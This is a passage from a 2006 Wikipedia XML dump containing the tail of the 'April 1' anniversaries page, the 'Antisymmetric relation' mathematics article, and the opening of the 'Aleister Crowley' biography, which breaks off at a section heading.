*[[1868]] - [[Hampton University|Hampton Normal and Agricultural Institute]] is established in [[Hampton, Virginia]]
*[[1873]] - The [[United Kingdom|British]] steamer [[SS Atlantic|SS ''Atlantic'']] sinks off [[Nova Scotia]], killing 547. 
*[[1891]] - The [[Wrigley Company]] is founded in [[Chicago, Illinois]].
*[[1918]] - The [[Royal Flying Corps]] is replaced by the [[Royal Air Force]]. 
*[[1924]] - [[Adolf Hitler]] is sentenced to five years in [[jail]] for his participation in the &quot;[[Beer Hall Putsch]].&quot; However, he spends only nine months in jail, during which he writes the book ''[[Mein Kampf]]''.
*1924 - First revenue flight for [[Belgium]]'s [[Sabena]] Airlines  
*[[1933]] - The recently elected [[Nazism|Nazis]] under [[Julius Streicher]] organize a one-day boycott of all Jewish-owned businesses in [[Germany]], ushering in the series of [[anti-Semitism|anti-Semitic]] acts that will be known as the [[Holocaust]].
*[[1934]] - [[Bonnie and Clyde]] kill two young highway patrolmen near [[Grapevine, Texas]].  
*[[1937]] - [[Aden]] becomes a British [[crown colony]].  
*[[1941]] - The [[Blockade Runner Badge]] for German navy is instituted. 
*[[1945]] - [[World War II]]: [[Battle of Okinawa|Operation Iceberg]] - [[United States]] troops land on [[Okinawa]] in the last campaign of the war.  
*[[1946]] - [[Aleutian Island earthquake]]: A 7.8 magnitude [[earthquake]] near the [[Aleutian Islands]] creates a [[tsunami]] that strikes the [[Hawaiian Islands]] killing 159 (mostly in [[Hilo, Hawaii]]). 
*1946 - Formation of the [[Malayan Union]].
*[[1948]] - [[Cold War]]: [[Berlin Airlift]] - [[Military forces]], under direction of the Soviet-controlled government in [[East Germany]], set-up a land blockade of [[West Berlin]]. 
*1948 - [[Faroe Islands]] receive [[self-governance|autonomy]] from [[Denmark]] 
*[[1949]] - [[Newfoundland]] becomes the tenth Province of [[Canada]] 
*1949 - [[Chinese Civil War]]: [[Communist Party of China]] hold unsuccessful peace talks with the [[Kuomintang]] in [[Beijing]], after three years of fighting.
*1949 - The twenty-six counties of the [[Irish Free State]] become the [[Republic of Ireland]].
*1949 - Founding of the [[Tokyo Stock Exchange]]
*[[1954]] - President [[Dwight D. Eisenhower]] authorizes the creation of the [[United States Air Force Academy]] in [[Colorado]].  
*[[1955]] - The [[EOKA]] rebellion starts in [[Cyprus]], aiming at the island´s independence from [[Great Britain]]. 
*[[1967]] - The [[United States Department of Transportation]] begins operation.
*[[1969]] - The [[Hawker-Siddeley Harrier]] enters service with the [[Royal Air Force|RAF]]. 
*[[1970]] - [[Phil Spector]] finishes the orchestral [[overdub]]s for the upcoming [[Beatles]] album, ''[[Let It Be (album)|Let It Be]]'', including the songs &quot;[[Let It Be (song)|Let It Be]]&quot;, &quot;[[Across the Universe]]&quot;,  and &quot;[[The Long and Winding Road]]&quot;. This causes controversy among [[Beatles]] fans who feel that [[Phil Spector]] has overproduced the album.
*1970 - President [[Richard Nixon]] signs the [[Public Health Cigarette Smoking Act]] into law banning [[cigarette]] advertisements in the [[United States]] starting on [[January 1]], [[1971]].  
*1970 - [[American Motors]] introduces the [[AMC Gremlin|Gremlin]].
*[[1973]] - [[Project Tiger]], a [[tiger]] conservation project, is launched in the [[Corbett National Park]], [[India]]. 
*[[1974]] - In the [[United Kingdom]], new [[administrative counties]] come into being.
*[[1976]] - [[Apple Computer]] Company is formed by [[Steve Jobs]] and [[Steve Wozniak]]. 
*1976 - The [[Central Railroad of New Jersey]] goes bankrupt and [[Conrail]] takes over its operations. 
*[[1979]] - [[Iran]]'s government becomes an [[Islamic Republic]] by a 98% vote, overthrowing the [[Shah]] officially.  
*[[1980]] - [[New York City]]'s [[Transit Worker Union 100]] goes on [[1980 transit strike|strike]], which continues for 11 days.
*[[1985]] - [[Villanova University]] defeats [[Georgetown University]] 66-64 to win [[NCAA Men's Division I Basketball Championship]].
*[[1996]] - [[University of Kentucky]] team wins [[NCAA Men's Division I Basketball Championship]].
*[[1999]] - [[Nunavut]] is established as a [[Canada|Canadian]] territory carved from the eastern part of the [[Northwest Territories]].
*[[2001]] - An [[EP-3E]] [[United States Navy]] plane collides with a Chinese [[People's Liberation Army]] [[fighter jet]]. The Navy crew makes an emergency landing in [[Hainan]], [[People's Republic of China]] and is detained. 
*2001 - Former president of [[Federal Republic of Yugoslavia]] [[Slobodan Milošević]] surrenders to police [[special forces]], to be tried on charges of [[war crime]]s.
*2001 - The first legal [[same-sex marriage in the Netherlands]] is celebrated.
*[[2002]] - The [[Netherlands]] legalizes [[euthanasia]], becoming the only nation in the world to do so.
*[[2004]] - [[George W. Bush]] signs the [[Unborn Victims of Violence Act]], which makes an attack that leads to the death of a mother and her [[unborn child]] two criminal charges.
*2004 - The first legal [[same-sex marriage in Canada|same-sex marriage in the Canadian province]] of [[Quebec]]: [[Michael Hendricks and René Leboeuf]] wed in [[Montreal]].  
*2004 - [[Gmail]], an email service from [[Google]] launches.

==Births==
*[[1220]] - [[Emperor Go-Saga]] of Japan (d. [[1272]])
*[[1543]] - [[François de Bonne, duc de Lesdiguières]], Constable of France (d. [[1626]])
*[[1578]] - [[William Harvey]], English physician (d. [[1657]])
*[[1610]] - [[Charles de Saint-Évremond]], French soldier (d. [[1703]])
*[[1640]] - [[Georg Mohr]], Danish mathematician (d. [[1697]])
*[[1647]] - [[John Wilmot, 2nd Earl of Rochester]], English poet (d. [[1680]])
*[[1732]] - [[Franz Josef Haydn]], Austrian composer (d. [[1809]])
*[[1765]] - [[Luigi Schiavonetti]], Italian engraver (d. [[1810]])
*[[1776]] - [[Sophie Germain]], French mathematician (d. [[1831]])
*[[1815]] - [[Otto von Bismarck]], German politician (d. [[1898]])
*1815 - [[Edward Clark]], Governor of Texas (d. [[1880]])
*[[1834]] - [[Big Jim Fisk]], American entrepreneur (d. [[1872]])
*[[1854]] - [[Bill Traylor]], American artist (d. [[1949]])
*[[1856]] - [[Acacio Gabriel Viegas]], Indian physician (d. [[1933]])
*[[1865]] - [[Richard Adolf Zsigmondy]], Austrian-born chemist, [[Nobel Prize in Chemistry|Nobel Prize]] laureate (d. [[1929]])
*[[1866]] - [[Ferruccio Busoni]], Italian pianist and composer (d. [[1924]])
*[[1873]] ([[Gregorian calendar|N.S.]]) - [[Sergei Rachmaninoff]], Russian composer, pianist, and conductor (d. [[1943]])
*[[1875]] - [[Edgar Wallace]], English writer (d. [[1932]])
*[[1883]] - [[Lon Chaney, Sr.]], American actor (d. [[1930]])
*[[1885]] - [[Wallace Beery]], American actor (d. [[1949]])
*[[1895]] - [[Alberta Hunter]], American singer (d. [[1984]])
*[[1897]] - [[Nita Naldi]], American actress (d. [[1961]])
*[[1898]] - [[William James Sidis]], eccentric genius and child prodigy (d. [[1944]])
*[[1899]] - [[Gustavs Celmins]], Latvian politician (d. [[1968]])
*[[1900]] - [[Robert McDowell]], Mayor of [[Maryborough, Queensland]] (d. [[1988]])
*[[1901]] - [[Whittaker Chambers]], American writer, editor, and defector (d. [[1961]])
*[[1906]] - [[Alexander Sergeyevich Yakovlev]], Russian engineer and airplane designer (d. [[1989]])
*[[1908]] - [[Abraham Maslow]], American psychologist (d. [[1970]])
*[[1914]] - [[Jerome L. Walton]], Canadian author
*[[1915]] - [[Otto Wilhelm Fischer]], Austrain actor (d. [[2004]])
*[[1919]] - [[Joseph Murray]], American surgeon, recipient of the [[Nobel Prize in Physiology or Medicine]]
*[[1920]] - [[Toshiro Mifune]], Japanese actor (d. [[1997]])
*[[1922]] - [[William Manchester]], American writer (d. [[2004]])
*[[1924]] - [[Brendan Byrne]], Governor of New Jersey
*[[1926]] - [[Charles Bressler]], American tenor
*1926 - [[Anne McCaffrey]], American author
*[[1928]] - [[George Grizzard]], American actor
*[[1929]] - [[Milan Kundera]], Czech writer
*1929 - [[Jane Powell]], American dancer, actress, and singer
*1929 - [[Bo Schembechler]], American football coach
*[[1930]] - [[Grace Lee Whitney]], American actress
*[[1931]] - [[Rolf Hochhuth]], German writer
*[[1932]] - [[Gordon Jump]], American television actor (d. [[2003]])
*1932 - [[Debbie Reynolds]], American actress
*[[1933]] - [[Claude Cohen-Tannoudji]], French physicist, [[Nobel Prize in Physics|Nobel Prize]] laureate
*[[1934]] - [[Don Hastings]], American actor
*1934 - [[Rod Kanehl]], baseball player (d. [[2004]])
*[[1935]] - [[Larry McDonald]], American politician (d. [[1983]])
*[[1938]] - [[Ali MacGraw]], American actress
*1938 - [[John Quade]], American actor
*[[1939]] - [[Phil Niekro]], American baseball pitcher
*[[1940]] - [[Wangari Maathai]], Kenyan environmentalist, recipient of the [[Nobel Peace Prize]]
*[[1942]] - [[Samuel R. Delany]], American author
*1942 - [[Annie Nightingale]], British disc jockey
*[[1946]] - [[Ronnie Lane]], British musician ([[The Small Faces]] and [[The Faces]]) (d. [[1997]])
*[[1947]] - [[Alain Connes]], French mathematician
*[[1948]] - [[Jimmy Cliff]], Jamaican musician
*[[1949]] - [[Gérard Mestrallet]], French businessman
*1949 - [[Gil Scott-Heron]], American musician and composer
*1949 - [[Sammy Nelson]], Northern Irish footballer
*[[1950]] - [[Samuel Alito]], Associate Justice of the [[United States Supreme Court]]
*[[1952]] - [[Annette O'Toole]], American actress
*[[1953]] - [[Barry Sonnenfeld]], producer and director
*[[1964]] - [[Erik Breukink]], Dutch cyclist and manager
*1964 - [[Scott Stevens]], Canadian ice hockey player
*[[1965]] - [[Mark Jackson (basketball)|Mark Jackson]], American basketball player
*[[1965]] - [[Robert Steadman]], English composer
*[[1970]] - [[Sung Hi Lee]], Korean-born model
*[[1971]] - [[Method Man]], American musician
*[[1972]] - [[Hughes Brothers|Allen and Albert Hughes]], American film directors
*[[1973]] - [[Stephen Fleming]], New Zealand cricketer
*[[1975]] - [[George Bastl]], Swiss tennis player
*[[1976]] - [[Clarence Seedorf]], Surinamese-Dutch footballer player
*[[1980]] - [[Randy Orton]], American professional wrestler
*1980 - [[Yūko Takeuchi]], Japanese actress
*[[1981]] - [[Hannah Spearritt]], British singer ([[S Club 7]])
*[[1982]] - [[Sam Huntington]], American actor
*[[1983]] - [[Ólafur Ingi Skúlason]], Icelandic footballer
*1983 - [[Sean Taylor]], American football player

==Deaths==
*[[1085]] - [[Emperor Shenzong]] of China (b. [[1048]])
*[[1204]] - [[Eleanor of Aquitaine]], queen of [[Henry II of England]]
*[[1205]] - King [[Amalric II of Jerusalem]] (b. [[1145]])
*[[1528]] - [[Francisco de Peñalosa]], Spanish composer
*[[1580]] - [[Alonso Mudarra]], Spanish composer
*[[1621]] - [[Cristofano Allori]], Italian painter (b. [[1577]])
*[[1637]] - [[Niwa Nagashige]], Japanese warlord (b. [[1571]])
*[[1682]] - [[Franz Egon of Fürstenberg]], Bishop of Strassburg (b. [[1625]])
*[[1684]] - [[Roger Williams (theologian)|Roger Williams]], English theologian and colonist (b. [[1603]])
*[[1787]] - [[Floyer Sydenham]], English classical scholar (b. [[1710]])
*[[1839]] - [[Benjamin Pierce (governor)|Benjamin Pierce]], Governor of New Hampshire (b. [[1757]])
*[[1872]] - [[Frederick Maurice]], English theologian (b. [[1805]])
*[[1878]] - [[John Corry Wilson Daly]], Canadian politician (b. [[1796]])
*[[1914]] - [[Rube Waddell]], baseball player (b. [[1876]])
*[[1917]] - [[Scott Joplin]], American musician and composer (b. [[1868]])
*[[1922]] - Emperor [[Karl I of Austria]] (b. [[1887]])
*[[1946]] - [[Noah Beery]], American actor (b. [[1882]])
*[[1947]] - King [[George II of Greece]] (b. [[1890]])
*[[1950]] - [[Charles R. Drew]], American physician (b. [[1904]])
*[[1966]] - [[Flann O'Brien]], Irish humorist (b. [[1911]])
*[[1968]] - [[Lev Davidovich Landau]], Russian physicist, [[Nobel Prize]] laureate (b. [[1908]])
*[[1976]] - [[Max Ernst]], German artist (b. [[1891]])
*[[1984]] - [[Marvin Gaye]], American singer (b. [[1939]])
*[[1986]] - [[Erik Bruhn]], Danish ballet dancer, choreographer (b. [[1928]])
*[[1988]] - [[Joe Besser]], American actor and comedian (b. [[1907]])
*[[1991]] - [[Martha Graham]], American dancer and choreographer (b. [[1894]])
*[[1993]] - [[Alan Kulwicki]], American race car driver (b. [[1954]])
*[[1998]] - [[Rozz Williams]], American musician ([[Christian Death]]) (b. [[1963]])
*1998 - [[Gene Evans]], American actor (b. [[1922]])
*[[2001]] - [[Olivia Barclay]], British astrologer (b. [[1919]])
*2001 - [[Trinh Cong Son]], Vietnamese composer (b. [[1939]])
*[[2003]] - [[Leslie Cheung]], Hong Kong actor and singer (b. [[1956]])
*[[2004]] - [[Carrie Snodgress]], American actress (b. [[1946]])
*[[2005]]  - [[Harald Juhnke]], German entertainer (b. [[1929]])
*2005 - [[Jack Keller (songwriter)|Jack Keller]], songwriter (leukemia) (b. [[1936]])
*2005 - [[Robert Coldwell Wood]], American university president and political appointee (b. [[1923]])

==Holidays and observances==
* April 1 is known as [[April Fool's Day]] or All Fools' Day in many countries.
* [[Feast day]] of [[Hugh of Grenoble|Saint Hugh]] in the [[Roman Catholic Church]] calendar
* [[Roman Empire]] - [[Veneralia]] celebrated to honor [[Venus (mythology)|Venus]]
* [[Japan]] - The official start of school years in most universities and schools. Also, the official First Day of Work at companies and offices for new university graduates hires, marked by welcoming ceremonies and speeches. 
* [[Canada]] - Beginning of government's [[fiscal year]] 
* [[India]] - Start of [[financial year]].
* [[Brielle]] celebrates victory of [[1572]] over Spaniards.
* In [[San Marino]], two [[Captains Regent]], elected by Parliament, take office for six months
* Date that [[bobhouse]]s, used for ice-fishing, must be taken off frozen lakes in [[New Hampshire]].
* [[International Day of the Birds]]
* In [[England and Wales]], local government reorganisations traditionally happen on April 1.
* [[Pigasus Award]] announcement

==External links==
* [http://news.bbc.co.uk/onthisday/hi/dates/stories/april/1 BBC: On This Day]
* [http://www.nytimes.com/learning/general/onthisday/20050401.html ''The New York Times'': On This Day]
* [http://www1.sympatico.ca/cgi-bin/on_this_day?mth=Apr&amp;day=01 On This Day in Canada]
----

[[March 31]] - [[April 2]] - [[March 1]] - [[May 1]] -- [[historical anniversaries|listing of all days]]

{{months}}

[[af:1 April]]
[[ar:1 إبريل]]
[[an:1 d'abril]]
[[ast:1 d'abril]]
[[bg:1 април]]
[[be:1 красавіка]]
[[bs:1. april]]
[[ca:1 d'abril]]
[[ceb:Abril 1]]
[[cv:Ака, 1]]
[[co:1 d'aprile]]
[[cs:1. duben]]
[[cy:1 Ebrill]]
[[da:1. april]]
[[de:1. April]]
[[et:1. aprill]]
[[el:1 Απριλίου]]
[[es:1 de abril]]
[[eo:1-a de aprilo]]
[[eu:Apirilaren 1]]
[[fo:1. apríl]]
[[fr:1er avril]]
[[fy:1 april]]
[[ga:1 Aibreán]]
[[gl:1 de abril]]
[[ko:4월 1일]]
[[hr:1. travnja]]
[[io:1 di aprilo]]
[[ilo:Abril 1]]
[[id:1 April]]
[[ia:1 de april]]
[[ie:1 april]]
[[is:1. apríl]]
[[it:1 aprile]]
[[he:1 באפריל]]
[[jv:1 April]]
[[ka:1 აპრილი]]
[[csb:1 łżëkwiôta]]
[[ku:1'ê avrêlê]]
[[lt:Balandžio 1]]
[[lb:1. Abrëll]]
[[li:1 april]]
[[hu:Április 1]]
[[mk:1 април]]
[[ms:1 April]]
[[nap:1 'e abbrile]]
[[nl:1 april]]
[[ja:4月1日]]
[[no:1. april]]
[[nn:1. april]]
[[oc:1 d'abril]]
[[pl:1 kwietnia]]
[[pt:1 de Abril]]
[[ro:1 aprilie]]
[[ru:1 апреля]]
[[sco:1 Aprile]]
[[sq:1 Prill]]
[[scn:1 di aprili]]
[[simple:April 1]]
[[sk:1. apríl]]
[[sl:1. april]]
[[sr:1. април]]
[[fi:1. huhtikuuta]]
[[sv:1 april]]
[[tl:Abril 1]]
[[tt:1. Äpril]]
[[te:ఏప్రిల్ 1]]
[[th:1 เมษายน]]
[[vi:1 tháng 4]]
[[tr:1 Nisan]]
[[uk:1 квітня]]
[[ur:1 اپریل]]
[[wa:1î d' avri]]
[[war:Abril 1]]
[[zh:4月1日]]
[[pam:Abril 1]]</text>
    </revision>
  </page>
  <page>
    <title>Antisymmetric relation</title>
    <id>1176</id>
    <revision>
      <id>41074394</id>
      <timestamp>2006-02-24T22:03:45Z</timestamp>
      <contributor>
        <username>Wasseralm</username>
        <id>389528</id>
      </contributor>
      <minor />
      <comment>de:</comment>
      <text xml:space="preserve">In [[mathematics]], a [[binary relation]] ''R'' on a [[set]] ''X'' is '''antisymmetric''' if, for all ''a'' and ''b'' in ''X'', if ''a'' is related to ''b'' and ''b'' is related to ''a'', then ''a''&amp;nbsp;=&amp;nbsp;''b''.

In [[mathematical notation]], this is:

:&lt;math&gt;\forall a, b \in X,\ a R b \and b R a \; \Rightarrow \; a = b&lt;/math&gt;

[[inequality|Inequalities]] are antisymmetric, since for different numbers ''a'' and ''b'' not both ''a &amp;le; b'' and ''a &amp;ge; b'' can be true.

Note that 'antisymmetric' is not the logical negative of '[[symmetric relation|symmetric]]' (whereby ''aRb'' implies ''bRa'').  (N.B.: Both are properties of relations expressed as universal statements about their members; their logical negations must be existential statements.)  Thus, there are relations which are both symmetric and antisymmetric (e.g., [[equality (mathematics)|the equality relation]]) and there are relations which are neither symmetric nor antisymmetric (e.g., [[divisibility]] on the [[integer]]s).

Antisymmetry is different from [[Asymmetric relation|asymmetry]].  According to one definition of '''asymmetric''', anything that fails to be symmetric is asymmetric; the definition of antisymmetry is more specific than this.  Another definition of '''asymmetric''' makes asymmetry equivalent to antisymmetry plus [[reflexive relation|irreflexivity]].

==Examples==
* [[Equality (mathematics) |Equality]]
* &quot;... is even, ... is odd&quot;
::::::[[Image:Evenandodd.PNG]]

==Properties containing antisymmetry==

* [[Partial order]] - An antisymmetric relation that is also [[transitive relation|transitive]] and [[reflexive relation|reflexive]].

* [[Total_order|total order]] - An antisymmetric relation that is also [[transitive relation|transitive]] and [[total relation|total]].

==See also==
* [[Symmetry in mathematics]]
* [[Symmetric relation]]

[[Category:Set theory]]

[[cs:Antisymetrická relace]]
[[de:Antisymmetrie]]
[[es:Relación antisimétrica]]
[[he:אנטי סימטריות]]
[[ko:반대칭관계]]
[[pl:Relacja antysymetryczna]]
[[sk:Antisymetrická relácia]]
[[zh:反对称关系]]</text>
    </revision>
  </page>
  <page>
    <title>Aleister Crowley</title>
    <id>1177</id>
    <revision>
      <id>42059129</id>
      <timestamp>2006-03-03T14:53:06Z</timestamp>
      <contributor>
        <username>Pacula</username>
        <id>111499</id>
      </contributor>
      <minor />
      <comment>/* Mountaineering */ minor rewording for clarity</comment>
      <text xml:space="preserve">[[Image:Aleister Crowley.jpg|thumb|right|235px|Aleister Crowley]]
'''Aleister Crowley''', born '''Edward Alexander Crowley''' ([[12 October]] [[1875]] – [[1 December]] [[1947]]) was an [[occult]]ist, [[mystic]], [[sexual revolution]]ary, and drug user (especially [[opium]]). 

Other interests and accomplishments were wide-ranging (he was a [[chess master]], [[mountain climber]], [[poet]], [[writer]], [[painter]], [[astrologer]] and social [[critic]]). He was quite notorious during his life, and was dubbed &quot;The Wickedest Man In the World&quot;; the term first appeared in [[1928]] in ''[[John Bull (disambiguation)|John Bull]]'', a [[tabloid]] pictorial of the day.

==Biography==
Edward Alexander Crowley was born in [[Royal Leamington Spa]], [[Warwickshire]], [[England]], between 11:00pm and 12 midnight on [[12 October]] [[1875]].

His father, Edward Crowley, once maintained a lucrative family [[brewery]] business and was retired at the time of Aleister's birth. His mother, Emily Bertha Bishop, drew roots from a [[Devon]] and [[Somerset]] family.

Aleister grew up in a staunch [[Plymouth Brethren]] household. His father, after retiring from his daily duties as a brewer, took up the practice of [[preaching]] at a fanatical pace. Daily Bible studies and private tutoring were mainstays in young Aleister's childhood; however, after his father's death, his mother's efforts at indoctrinating her son in the Christian faith only served to provoke Aleister's [[scepticism]]. As a child, young Aleister's constant rebellious behaviour displeased his devout mother to such an extent she would chastize him by calling him &quot;The Beast&quot; (from the Book of Revelation), an epithet that Crowley would later happily adopt for himself. He objected to the labelling of what he saw as life's most worthwhile and enjoyable activities as &quot;sinful&quot;.

In response, Crowley created his own philosophical system, ''Scientific Illuminism'' — a synthesis of various Eastern [[mysticism|mystical]] systems (including [[Hinduism]], [[Buddhism]], [[Tantra]], the predecessor to Western sex magick, [[Zoroastrianism]] and the many systems of Yoga) fused with the Western occult sciences of the [[Hermetic Order of the Golden Dawn]] and the many reformed rituals of [[Freemasonry]] he later reformulated within the [[Ordo Templi Orientis]] (O.T.O). This system also appeals to scientific and philosophical [[scepticism]]. His undergraduate studies in [[chemistry]] at [[Trinity College, Cambridge]] helped forge the [[scientific scepticism]] that later culminated in the many-volumed and unparalleled occult publication, ''[[The Equinox]].''

Following the death of his father, the young Aleister (then &quot;Alec&quot; or &quot;Alick&quot;) turned to a form of [[Satanism]] in grief. However, within a few years he abandoned this for [[atheism]] and [[hedonism]], or in his words, &quot;began to behave like a normal, healthy human being.&quot; During the year [[1897]], he slowly came to view earthly pursuits as useless and began his lifelong exploration of esoteric matters. A number of events contributed to this change. (The [[Aleister Crowley#Chess|section on chess]] in this article gives one example.)

Involved as a young adult in the [[Hermetic Order of the Golden Dawn]], he first studied mysticism with and made enemies of [[William Butler Yeats]] and [[Arthur Edward Waite]]. Like many in occult circles of the time, Crowley voiced the view that Waite was a pretentious bore through searing critiques of Waite's writings and editorials of other authors' writings.

His friend and former Golden Dawn associate [[Allan Bennett]] introduced him to the ideas of [[Buddhism]], while [[MacGregor Mathers|Samuel Liddell MacGregor Mathers]], acting leader of the Golden Dawn organization, acted as his early mentor in western magick but would later become his enemy. Several decades after Crowley's participation in the Golden Dawn, Mathers claimed copyright protection over a particular ritual and sued Crowley for infringement after Crowley's public display of the ritual. In a book of fiction entitled ''[[Moonchild]],'' Crowley portrayed Mathers as the primary villain, including him as a character named SRMD, using the abbreviation of Mathers' magical name. Arthur Edward Waite also appeared in ''Moonchild'' as a villain named Arthwaite, while Bennett appeared in ''Moonchild'' as the main character's wise mentor, Simon Iff.

While he did not officially break with Mathers until [[1904]], Crowley lost faith in this teacher's abilities soon after the [[1900]] schism in the Golden Dawn (if not before). Later that year, Crowley travelled to Mexico and continued his magical studies in isolation. AC's writings suggest that he discovered the word ''[[Abracadabra|Abrahadabra]]'' during this time. (The article on this word explains the spelling.)

In October of [[1901]], after practising [[Raja Yoga]] for some time, he said he had reached a state he called [[dhyana]] — one of many states of unification in thoughts that are described in ''MAGICK Book IV'' (See [[egolessness|Crowley on egolessness]]). [[1902]] saw him writing the essay ''Berashith'' (the first word of [[Genesis (Old Testament)|Genesis]]), in which he gave [[meditation]] (or restraint of the mind to a single object) as the means of attaining his goal. The essay describes [[ceremony|ceremonial]] magic as a means of training the will, and of constantly directing one's thoughts to a given object through ritual. In his 1903 essay, ''Science and Buddhism'', Crowley urged an [[empirical]] approach to Buddhist teachings.

He said that a mystical experience in [[1904]] while on vacation in [[Cairo]], [[Egypt]], led to his founding of the [[philosophy of religion|religious philosophy]] known as [[Thelema]]. Aleister's wife Rose started to behave in an odd way, and this led him to think that some entity had made contact with her. At her instructions, he performed an invocation of the Egyptian god [[Horus]] on [[March 20]] with (he wrote) &quot;great success&quot;. According to Crowley, the god told him that a new magical Aeon had begun, and that A.C. would serve as its prophet. Rose continued to give information, telling Crowley in detailed terms to await a further revelation. On [[8 April]] and for the following two days at exactly noon he heard a voice, dictating the words of the text, ''Liber AL vel Legis,'' or ''[[The Book of the Law]],'' which Crowley wrote down. The voice claimed to be that of Aiwass (or Aiwaz &quot;the minister of Hoor-paar-kraat,&quot; or Horus, the god of force and fire, child of [[Isis and Osiris]]) and self-appointed conquering lord of the New Aeon, announced through his chosen scribe &quot;the prince-priest the Beast.&quot;

Portions of the book are in numerical [[cipher]], which Crowley claimed the inability to decode (Setian [[Michael Aquino]] later claimed to be able to decode them). Thelemic dogma (to the extent that Thelema has dogma) explains this by pointing to a warning within the ''Book of the Law'' — the speaker supposedly warned that the scribe, Ankh-af-na-khonsu (Aleister Crowley), was never to attempt to decode the ciphers, for to do so would end only in folly.  The later-written ''The Law is For All'' sees Crowley warning everyone not to discuss the writing amongst fellow critics, for fear that a [[dogma|dogmatic]] position would arise. While he declared a &quot;new Equinox of the Gods&quot; in early 1904, supposedly passing on the revelation of [[March 20]] to the occult community, it took years for Crowley to fully accept the writing of the ''Book of the Law'' and follow its doctrine. Only after countless attempts to test its writings did he come to embrace them as the official doctrine of the New Aeon of [[Horus]]. The remainder of his professional and personal careers were spent expanding the new frontiers of scientific [[illuminism]].  

Rose and Aleister had a daughter, whom AC named Nuit Ma Ahathoor Hecate Sappho Jezebel Lilith Crowley, in July of 1904. This child died in [[1906]]. They had another daughter, Lola Zaza, in the summer of that year, and AC devised a special ritual of thanksgiving for her birth. He performed a thanksgiving ritual before his first claimed success in the [[Abramelin]] operation, on [[October 9]], 1906. The events of that year gave the Abramelin book a central role in Crowley's system. He described the primary goal of the &quot;Great Work&quot; using a term from this book: &quot;the Knowledge and Conversation of the [[Holy Guardian Angel]].&quot; An essay in the first number of ''The Equinox'' gives several reasons for this choice of names:
:''1. Because Abramelin's system is so simple and effective.''

:''2. Because since all theories of the universe are absurd it is better to talk in the language of one which is patently absurd, so as to mortify the metaphysical man.''

:''3. Because a child can understand it.''

Crowley was notorious in his lifetime — a frequent target of attacks in the [[tabloid press]], which labelled him &quot;The Wickedest Man in the World&quot; to his evident amusement. At one point, he was expelled from [[Italy]] after having established a sort of [[commune (intentional community)|commune]], the organization of which was based on his personal philosophies, the [[Abbey of Thelema]], at Cefalu, [[Sicily]].

In [[1934]] Crowley was declared bankrupt after losing a court case in which he sued the artist [[Nina Hamnett]] for calling him a black magician in her [[1932]] book, ''Laughing Torso.'' In addressing the jury, Mr Justice Swift said: 
&quot;I have been over forty years engaged in the administration of the law in one capacity or another. I thought that I knew of every conceivable form of wickedness. I thought that everything which was vicious and bad had been produced at one time or another before me. I have learnt in this case that we can always learn something more if we live long enough. I have never heard such dreadful, horrible, blasphemous and abominable stuff as that which has been produced by the man (Crowley) who describes himself to you as the greatest living poet.&quot;

Aleister Crowley died of a respiratory infection in a [[Hastings]] [[boarding house]] on [[December 1]], [[1947]], at the age of 72. According to some accounts he died on [[December 5]], [[1947]]. He was penniless and [[addict]]ed to [[opium]], which had been prescribed for his [[asthma]] and [[bronchitis]], at the time.

Biographer Lawrence Sutin passes on various stories about AC's death and last words. Frieda Harris supposedly reported him saying, &quot;I am perplexed,&quot; though she did not see him at the very end. According to John Symonds, a Mr Rowe witnessed Crowley's death along with a nurse, and reported his last words as, &quot;Sometimes I hate myself.&quot; Biographer Gerald Suster accepted the version of events he received from a &quot;[[Mr. W.H.|Mr W.H.]]&quot; in which Crowley dies pacing in his living-room. Supposedly Mr W.H. heard a crash while polishing furniture on the floor below, and entered Crowley's rooms to find him dead on the floor. Patricia &quot;Deirdre&quot; MacAlpine, the mother of his son, denied all this and reports a sudden gust of wind and peal of thunder at the (otherwise quiet) moment of his death. According to MacAlpine, Crowley remained bedridden for the last few days of his life, but was in light spirits and conversational. Readings at the cremation service in nearby Brighton included one of his own works, ''Hymn to Pan,'' and newspapers referred to the service as a [[black mass]]. [[Brighton]] council subsequently resolved to take all necessary steps to prevent such an incident occurring again.

==Chess==
Crowley learnt to play chess at the age of six and first competed on the Eastbourne College chess team (where he was taking classes in [[1892]]). He showed immediate competence, beating the adult champion in town and even editing a chess column for the local newspaper, the Eastbourne Gazette (Sutin, p.33), which he often used to criticise the Eastbourne team. He later joined the university chess club at [[Cambridge]], where he beat the president in his freshman year and practised two hours a day towards becoming a champion — &quot;My one serious worldly ambition had been to become the champion of the world at chess&quot; (Confessions, p.193). 

However, he gave up his chess aspirations in [[1897]] when attending a chess conference in Berlin: 
&lt;blockquote&gt; But I had hardly entered the room where the masters were playing when I was seized with what may justly be described as a mystical experience. I seemed to be looking on at the tournament from outside myself. I saw the masters — one, shabby, snuffy and blear-eyed; another, in badly fitting would-be respectable shoddy; a third, a mere parody of humanity, and so on for the rest. These were the people to whose ranks I was seeking admission. &quot;There, but for the grace of God, goes Aleister Crowley,&quot; I exclaimed to myself with disgust, and there and then I registered a vow never to play another serious game of chess. I perceived with preternatural lucidity that I had not alighted on this planet with the object of playing chess. (Confessions, Ch.16). &lt;/blockquote&gt;

==Mountaineering==
In the summer of [[1902]], [[Oscar Eckenstein]] and Crowley undertook the first attempt to scale Chogo Ri (known in the west as [[K2]]), located in [[Pakistan]]. The Eckenstein-Crowley Expedition consisted of Eckenstein, Crowley, [[Guy Knowles]], H. Pfannl, V. Wesseley, and Dr [[Jules Jacot-Guillarmod]]. During this trip he won a world record for his hardships on the [[Baltoro Glacier]], sixty-eight straight days of glacial life.  

In May [[1905]], he was approached by Dr [[Jules Jacot-Guillarmod]] ([[1868]] - [[1925]]) to accompany him on the first expedition to [[Kanchenjunga]] in [[Nepal]], the third largest mountain in the world. Guillarmod was left to organize the personnel while Crowley left to get things ready in [[Darjeeling]]. On [[July 31]] Guillarmod joined Crowley in Darjeeling, bringing with him two countrymen, Charles-Adolphe Reymond and Alexis Pache. Meanwhile, Crowley had recruited a local man, Alcesti C. Rigo de Righi, to act as Transport Manager. The team left Darjeeling on [[August 8]], [[1905]], and used the [[Singalila Ridge]] approach to Kangchenjunga. At [[Chabanjong]] they ran into the rear of the 135 [[coolie]]s who had been sent ahead on [[July 24]] and [[July 25]], who were carrying food rations for the team. The trek was led by Aleister Crowley, but four members of that party were killed in an avalanche. Some claims say they reached around 21,300 feet before turning back, however Crowley's autobiography claims they reached about 25,000 feet.

Crowley was sometimes famously scathing about other climbers, in particular [[O. G. Jones]], whom he considered a risk-taking self-publicist, and his 'two photographers' ([[George and Ashley Abraham]]).

==Science, magic, and sexuality==
